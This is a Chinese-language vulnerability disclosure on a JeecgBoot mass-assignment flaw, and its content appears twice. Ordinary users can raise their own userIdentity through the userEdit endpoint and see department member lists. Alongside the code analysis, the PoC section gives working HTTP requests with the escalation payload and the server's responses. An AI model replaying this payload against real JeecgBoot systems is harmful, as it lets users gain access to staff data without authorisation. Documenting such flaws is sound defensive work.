1. 漏洞概述
JeecgBoot 的 SysUser 实体中 userIdentity 字段控制用户的数据可见范围:
userIdentity=1 (或 null):普通成员,无法查看部门成员列表
userIdentity=2:部门主管/上级,可查看管辖部门下的所有成员
该字段本应仅通过"部门负责人设置"流程由系统内部修改(SysUserServiceImpl.changeDepartChargePerson()),但 POST /sys/user/login/setting/userEdit 端点存在提权漏洞:直接绑定完整 SysUser 实体,通过 updateById() 持久化请求体,未对 userIdentity 做服务端覆盖或白名单过滤。
该端点被 @RequiresPermissions("system:user:setting:edit") 保护——但此权限被分配给了 test 角色(系统用户标配角色,所有注册用户默认拥有)。
2. 漏洞调用链
2.1 入口 — SysUserController.userEdit
文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816
@PostMapping("/login/setting/userEdit")
@RequiresPermissions("system:user:setting:edit") // ← test 角色持有此权限!
public Result<String> userEdit(@RequestBody SysUser sysUser, HttpServletRequest request) {
String username = JwtUtil.getUserNameByToken(request);
SysUser user = sysUserService.getById(sysUser.getId());
if(user==null) {
return Result.error("未找到该用户数据");
}
if(!username.equals(user.getUsername())){ // [1] 所有权检查:仅比对 username
return Result.error("只能修改自己的数据");
}
sysUserService.updateById(sysUser); // [2] 持久化的是请求体 sysUser,不是 user!
return Result.ok("更新个人信息成功");
}
问题 1 — 所有权检查后持久化了错误的对象: if(!username.equals(user.getUsername())) 通过了,但接下来调用的是 updateById(sysUser)——请求体参数,而不是从数据库查出的 user。注入的 userIdentity=2 和 departIds 被直接写入数据库。
问题 2 — 无字段白名单: updateById() 会更新请求体中所有非 null 字段。与同一 Controller 中安全的 appEdit() 方法(逐字段手动赋值)形成鲜明对比。
2.2 userIdentity 的实际权限控制
文件: jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826
@RequestMapping(value = "/departUserList", method = RequestMethod.GET)
public Result<IPage<SysUser>> departUserList(...) {
if(oConvertUtils.isEmpty(depId)){
LoginUser user = (LoginUser) SecurityUtils.getSubject().getPrincipal();
int userIdentity = user.getUserIdentity() != null ? user.getUserIdentity()
: CommonConstant.USER_IDENTITY_1;
if(oConvertUtils.isNotEmpty(userIdentity)
&& userIdentity == CommonConstant.USER_IDENTITY_2 // ← 仅 userIdentity=2
&& oConvertUtils.isNotEmpty(user.getDepartIds())) { // ← 且 departIds 非空
subDepids = sysDepartService.getMySubDepIdsByDepId(user.getDepartIds());
// → 查询管辖部门及所有子部门的用户列表
}
}
}
逻辑: 当不传 depId 查看"我的部门"时,仅 userIdentity=2 且 departIds 非空的用户能获取部门用户列表。userIdentity=1 的用户 subDepids 保持为空,返回空结果。
2.3 权限配置缺陷
文件: db/jeecgboot-mysql-5.7.sql:9063
-- test 角色被分配了 system:user:setting:edit
INSERT INTO sys_role_permission VALUES ('1963153837854330882',
'ee8626f80f7c2619917b6236f3a7f02b', -- test 角色(系统用户标配角色)
'1596335805278990338'); -- system:user:setting:edit
test 是"系统用户标配角色",所有注册用户默认拥有。system:user:setting:edit 的设计意图是允许用户修改个人信息(头像、手机号等),但其底层实现 updateById(requestBody) 没有字段白名单。
2.4 userIdentity 字段 — 未受保护的 Entity 属性
文件: jeecg-module-system/jeecg-system-biz/.../entity/SysUser.java:170-174
/**
* 身份(0 普通成员 1 上级)
*/
@Excel(name="(1普通成员 2上级)",width = 15)
private Integer userIdentity;
问题: userIdentity 仅标注了 @Excel(导出注解),没有任何反序列化保护。Jackson 作为 HTTP 消息转换器正常绑定请求 JSON 中的 "userIdentity": 2。
3. PoC 复现步骤
使用两个用户账号进行演示。
- 参照用户:
supervisor(userIdentity=2, departIds=财务部, 仅 test 角色)
- 攻击者:
testonly(userIdentity=1, departIds=空, 仅 test 角色)
- 两个用户同属"财务部"(
a7d7e77e06c84325a40932163adcdaa6)
3.1 攻击前:权限对比
以 supervisor(主管)登录,调用 departUserList:
GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <supervisor_jwt>
Response (4 条记录):
{"success":true,"result":{"records":[
{"username":"jeecg",...},
{"username":"zhangsan",...},
{"username":"supervisor",...},
{"username":"testonly",...}
]}}
以 testonly(下属)登录,调用同一端点:
GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <testonly_jwt>
Response (0 条记录):
{"success":true,"result":{"records":[]}}
3.2 攻击:Mass Assignment 自我升级
POST /jeecg-boot/sys/user/login/setting/userEdit
X-Access-Token: <testonly_jwt>
Content-Type: application/json
{
"id": "2049428658667565058",
"userIdentity": 2,
"departIds": "a7d7e77e06c84325a40932163adcdaa6"
}
Response:
HTTP/1.1 200 OK
{"success":true,"message":"更新个人信息成功","code":200}
3.3 攻击后:重新登录并验证
重新登录(刷新 Shiro 缓存中的 LoginUser,使其携带新的 userIdentity=2 和 departIds)。
再次调用 departUserList:
GET /jeecg-boot/sys/user/departUserList?pageNo=1&pageSize=5
X-Access-Token: <testonly_new_jwt>
Response (4 条记录):
{"success":true,"result":{"records":[
{"username":"jeecg",...},
{"username":"zhangsan",...},
{"username":"supervisor",...},
{"username":"testonly",...}
]}}
3.4 攻击前后对比
departUserList 可见用户数
─────────────────────────
supervisor 4 (jeecg, zhangsan, supervisor, testonly)
(主管, identity=2)
testonly 0 ← 攻击前
(下属, identity=1)
testonly 4 ← 攻击后
(自我升级, identity=2)
攻击后,下属能看到与主管完全相同的部门成员列表。权限提升成功。
1. 漏洞概述
JeecgBoot 的
SysUser实体中userIdentity字段控制用户的数据可见范围:userIdentity=1(或 null):普通成员,无法查看部门成员列表userIdentity=2:部门主管/上级,可查看管辖部门下的所有成员该字段本应仅通过"部门负责人设置"流程由系统内部修改(
SysUserServiceImpl.changeDepartChargePerson()),但POST /sys/user/login/setting/userEdit端点存在提权漏洞:直接绑定完整SysUser实体,通过updateById()持久化请求体,未对userIdentity做服务端覆盖或白名单过滤。该端点被
@RequiresPermissions("system:user:setting:edit")保护——但此权限被分配给了test角色(系统用户标配角色,所有注册用户默认拥有)。2. 漏洞调用链
2.1 入口 —
SysUserController.userEdit文件:
jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:1803-1816问题 1 — 所有权检查后持久化了错误的对象:
if(!username.equals(user.getUsername()))通过了,但接下来调用的是updateById(sysUser)——请求体参数,而不是从数据库查出的user。注入的userIdentity=2和departIds被直接写入数据库。问题 2 — 无字段白名单:
updateById()会更新请求体中所有非 null 字段。与同一 Controller 中安全的appEdit()方法(逐字段手动赋值)形成鲜明对比。2.2
userIdentity的实际权限控制文件:
jeecg-module-system/jeecg-system-biz/.../controller/SysUserController.java:783-826逻辑: 当不传
depId查看"我的部门"时,仅userIdentity=2且departIds非空的用户能获取部门用户列表。userIdentity=1的用户subDepids保持为空,返回空结果。2.3 权限配置缺陷
文件:
db/jeecgboot-mysql-5.7.sql:9063test是"系统用户标配角色",所有注册用户默认拥有。system:user:setting:edit的设计意图是允许用户修改个人信息(头像、手机号等),但其底层实现updateById(requestBody)没有字段白名单。2.4
userIdentity字段 — 未受保护的 Entity 属性文件:
jeecg-module-system/jeecg-system-biz/.../entity/SysUser.java:170-174问题:
userIdentity仅标注了@Excel(导出注解),没有任何反序列化保护。Jackson 作为 HTTP 消息转换器正常绑定请求 JSON 中的"userIdentity": 2。3. PoC 复现步骤
使用两个用户账号进行演示。
supervisor(userIdentity=2, departIds=财务部, 仅 test 角色)testonly(userIdentity=1, departIds=空, 仅 test 角色)a7d7e77e06c84325a40932163adcdaa6)3.1 攻击前:权限对比
以
supervisor(主管)登录,调用departUserList:Response (4 条记录):
{"success":true,"result":{"records":[ {"username":"jeecg",...}, {"username":"zhangsan",...}, {"username":"supervisor",...}, {"username":"testonly",...} ]}}以
testonly(下属)登录,调用同一端点:Response (0 条记录):
{"success":true,"result":{"records":[]}}3.2 攻击:Mass Assignment 自我升级
Response:
3.3 攻击后:重新登录并验证
重新登录(刷新 Shiro 缓存中的 LoginUser,使其携带新的
userIdentity=2和departIds)。再次调用
departUserList:Response (4 条记录):
{"success":true,"result":{"records":[ {"username":"jeecg",...}, {"username":"zhangsan",...}, {"username":"supervisor",...}, {"username":"testonly",...} ]}}3.4 攻击前后对比
攻击后,下属能看到与主管完全相同的部门成员列表。权限提升成功。